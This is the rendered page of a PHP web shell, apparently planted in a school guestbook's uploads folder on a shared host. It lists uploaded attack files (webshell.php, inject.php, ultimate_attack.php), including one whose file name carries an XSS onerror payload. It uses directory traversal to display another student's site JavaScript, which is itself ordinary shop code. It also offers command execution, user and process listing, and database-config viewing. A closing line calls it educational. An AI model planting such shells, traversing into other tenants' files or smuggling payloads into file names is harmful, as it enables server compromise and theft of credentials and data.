🐚 WEB SHELL ACTIVATED

πŸ“ File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

πŸ“„ ' onerror='alert(`Gehacked door Jasper!`);window.location.replace(`..`)'.png [view]
πŸ“ ..
πŸ“„ 003b15869ae62d2ceeee451a5f652dd6.png [view]
πŸ“„ 0tk5j14v024b1.jpg [view]
πŸ“„ 300px-Cursed_Cat.jpg [view]
πŸ“„ 32640-afbeelding-1__ScaleMaxWidthWzYwMF0_CompressedW10.jpg [view]
πŸ“„ Bill-Gates-Paul-Allen-2013.jpg [view]
πŸ“„ CV Jasper Kramp.png [view]
πŸ“„ Cat profile.png [view]
πŸ“„ Fronalpstock_big.jpg [view]
πŸ“„ Krik en las.jpg [view]
πŸ“„ Krik.jpg [view]
πŸ“„ Pino-dood-03.jpg [view]
πŸ“„ Shellz.php [view]
πŸ“„ Ted_Kaczynski_2_(cropped).jpg [view]
πŸ“„ Tux.svg.png [view]
πŸ“„ Z.png [view]
πŸ“„ android.jpg [view]
πŸ“„ apple.php [view]
πŸ“„ cianancatfish.jpg [view]
πŸ“„ downloads (1).jpeg [view]
πŸ“„ downloads.jpeg [view]
πŸ“„ epresso.jpg [view]
πŸ“„ fake_photo.png [view]
πŸ“„ hand.jpg [view]
πŸ“„ https___dynaimage.cdn.cnn.com_cnn_x_156,y_210,w_1209,h_1612,c_crop_https2F2F5bae1c384db3d70020c01c40%2FfireflyWolfy.jpg [view]
πŸ“„ image.png [view]
πŸ“„ images.jpeg [view]
πŸ“„ info.php [view]
πŸ“„ inject.php [view]
πŸ“„ instant_redirect.jpg [view]
πŸ“„ japper.jpg [view]
πŸ“„ koekiemonster-3.jpg [view]
πŸ“„ logo.png [view]
πŸ“„ muis.jpg [view]
πŸ“„ people-call-woman-ugly-responds-with-more-selfies-melissa-blake-1-5d75f249a418b__700.jpg [view]
πŸ“„ picobellobv.jpeg [view]
πŸ“„ redirect.php [view]
πŸ“„ rupsje-nooitgenoeg-knuffel-pluche-42-cm-500x500.jpg [view]
πŸ“„ sdfsa.png [view]
πŸ“„ sneaky.svg [view]
πŸ“„ taylor.webp [view]
πŸ“„ test.html [view]
πŸ“„ testpreg.php [view]
πŸ“„ testpreg1.php [view]
πŸ“„ testtest.php.JPG [view]
πŸ“„ ultimate_attack.gif [view]
πŸ“„ ultimate_attack.php [view]
πŸ“„ ultimate_attack.svg [view]
πŸ“„ wallpaper.jpg [view]
πŸ“„ webshell.php [view]

πŸ“„ Viewing: ./../../Office/../../../586648.klas4s23.mid-ica.nl/public_html/ergowijzer/script.js

document.addEventListener('DOMContentLoaded', function () {
    // ----- EVENT DELEGATION -----
    document.body.addEventListener('click', function (event) {
        const target = event.target;

        // Wishlist functionaliteit
        if (target.closest('.wishlist-icon')) {
            toggleWishlist(target.closest('.wishlist-icon'));
        }

        // Product modal functionaliteit
        if (target.closest('.product-button')) {
            const productCard = target.closest('.product-card');
            const product = {
                title: productCard.querySelector('.product-title').textContent,
                price: productCard.querySelector('.product-price').textContent,
                image: productCard.querySelector('.product-image img').src
            };
            const category = productCard.dataset.category || 'default';
            showProductModal(product, category);
        }

        // Modal sluiten
        if (target.classList.contains('close-modal') || target.classList.contains('modal')) {
            closeModal();
        }
    });

    function toggleWishlist(icon) {
        icon.classList.toggle('active');
        const svg = icon.querySelector('svg path');
        const isActive = icon.classList.contains('active');

        svg.style.fill = isActive ? '#ff4057' : 'none';
        svg.style.stroke = isActive ? '#ff4057' : '#ccc';

        showNotification(isActive ? 'Toegevoegd aan wishlist!' : 'Verwijderd uit wishlist!');
    }

    function showNotification(message) {
        const notification = document.createElement('div');
        notification.className = 'notification';
        notification.textContent = message;
        document.body.appendChild(notification);

        setTimeout(() => {
            notification.classList.add('fade-out');
            setTimeout(() => notification.remove(), 500);
        }, 2500);
    }

    function showProductModal(product, category) {
        const template = productTemplates[category] || productTemplates.default;

        const modal = document.createElement('div');
        modal.className = 'modal';
        modal.innerHTML = `
            <div class="modal-content">
                <span class="close-modal">&times;</span>
                <div class="modal-image">
                    <img src="${product.image}" alt="${product.title}">
                </div>
                <div class="modal-info">
                    <h2>${product.title}</h2>
                    <p class="modal-price">${product.price}</p>
                    <div class="modal-rating">${template.rating}</div>
                    <p class="modal-description">${template.description}</p>
                    <div class="modal-features">
                        <h3>Key Features:</h3>
                        <ul>
                            ${template.features.map(feat => `<li>${feat}</li>`).join('')}
                        </ul>
                    </div>
                    <button class="modal-buy">Toevoegen aan winkelwagen</button>
                </div>
            </div>
        `;

        document.body.appendChild(modal);
        document.body.style.overflow = 'hidden';
    }

    function closeModal() {
        const modal = document.querySelector('.modal');
        if (modal) {
            modal.classList.add('fade-out');
            setTimeout(() => {
                modal.remove();
                document.body.style.overflow = '';
            }, 300);
        }
    }
});

// ----- PRODUCT TEMPLATE CONFIG -----
const productTemplates = {
    mouses: {
        description: "Ergonomische muis voor comfortabel gebruik.",
        features: [
            "57Β° ergonomisch ontwerp voor polscomfort",
            "Instelbare DPI (800-16000) voor precisie",
            "Textuurgrip voor extra controle",
            "Meerdere apparaten via Bluetooth 5.0",
            "30 dagen batterijduur met snelle lading"
        ],
        rating: "β˜…β˜…β˜…β˜…β˜… (342 reviews)"
    },
    keyboards: {
        description: "Mechanisch toetsenbord met RGB-verlichting.",
        features: [
            "16.8 miljoen kleuren RGB-verlichting",
            "Cherry MX schakelaars (Red/Blue/Brown)",
            "Afneembare USB-C kabel",
            "Verstelbare voeten met 3 hoeken"
        ],
        rating: "β˜…β˜…β˜…β˜…β˜† (278 reviews)"
    },
    desks: {
        description: "Duurzaam bureau met verstelbare hoogte.",
        features: [
            "Compact ontwerp met muurbevestiging",
            "Eco-gecertificeerde materialen",
            "Elektrische of handmatige hoogte-instelling",
            "GeΓ―ntegreerde stopcontacten en USB-poorten",
            "Draagvermogen tot 150kg"
        ],
        rating: "β˜…β˜…β˜…β˜…β˜† (189 reviews)"
    },
    chairs: {
        description: "Ergonomische bureaustoel met premium afwerking.",
        features: [
            "Stalen frame met versterkte kruissteunen",
            "Duurzaam bamboe zitvlak met matte afwerking",
            "Slim ontwerp met draadloze oplader en USB-C",
            "Geavanceerd kabelbeheer",
            "Stille werking (<30dB) met veiligheidssysteem"
        ],
        rating: "β˜…β˜…β˜…β˜…β˜… (412 reviews)"
    },
    default: {
        description: "Hoogwaardig product met uitstekende prestaties.",
        features: ["Duurzaam design", "Energiezuinig", "Gebruiksvriendelijk", "Lange levensduur"],
        rating: "β˜…β˜…β˜…β˜…β˜† (100+ reviews)"
    }
};


document.addEventListener('DOMContentLoaded', function() {
    // Get elements
    const modal = document.getElementById('mouseModal');
    const btn = document.querySelector('.product-button.details');
    const span = document.querySelector('.close-btn');
    
    // When user clicks the details button
    btn.onclick = function() {
      modal.style.display = "block";
      document.body.style.overflow = "hidden"; // Prevent scrolling
    }
    
    // When user clicks on (x)
    span.onclick = function() {
      modal.style.display = "none";
      document.body.style.overflow = "auto"; // Re-enable scrolling
    }
    
    // When user clicks anywhere outside the modal
    window.onclick = function(event) {
      if (event.target == modal) {
        modal.style.display = "none";
        document.body.style.overflow = "auto";
      }
    }
    
    // Thumbnail click functionality
    const thumbnails = document.querySelectorAll('.thumbnail');
    const mainImage = document.querySelector('.main-image');
    
    thumbnails.forEach(thumb => {
      thumb.addEventListener('click', function() {
        // In a real implementation, you would swap the main image src
        // For this example, we'll just highlight the clicked thumbnail
        thumbnails.forEach(t => t.style.borderColor = 'transparent');
        this.style.borderColor = '#4a6bff';
      });
    });
    
    // Color selection functionality
    const colors = document.querySelectorAll('.color');
    
    colors.forEach(color => {
      color.addEventListener('click', function() {
        colors.forEach(c => c.classList.remove('active'));
        this.classList.add('active');
      });
    });
    
    // Add keyboard escape functionality
    document.addEventListener('keydown', function(event) {
      if (event.key === "Escape" && modal.style.display === "block") {
        modal.style.display = "none";
        document.body.style.overflow = "auto";
      }
    });
  });

🎯 Available Actions

Command Execution:

Quick Commands:

πŸ“‹ List files | πŸ‘€ Show user | πŸ“ Show directory | πŸ”„ Show processes | πŸ” Show users

File Operations:

⬆️ Parent directory | 🏠 Root directory | πŸ” View DB config
⚠️ Educational Warning: This demonstrates a web shell vulnerability. In a real attack, this could allow complete server compromise!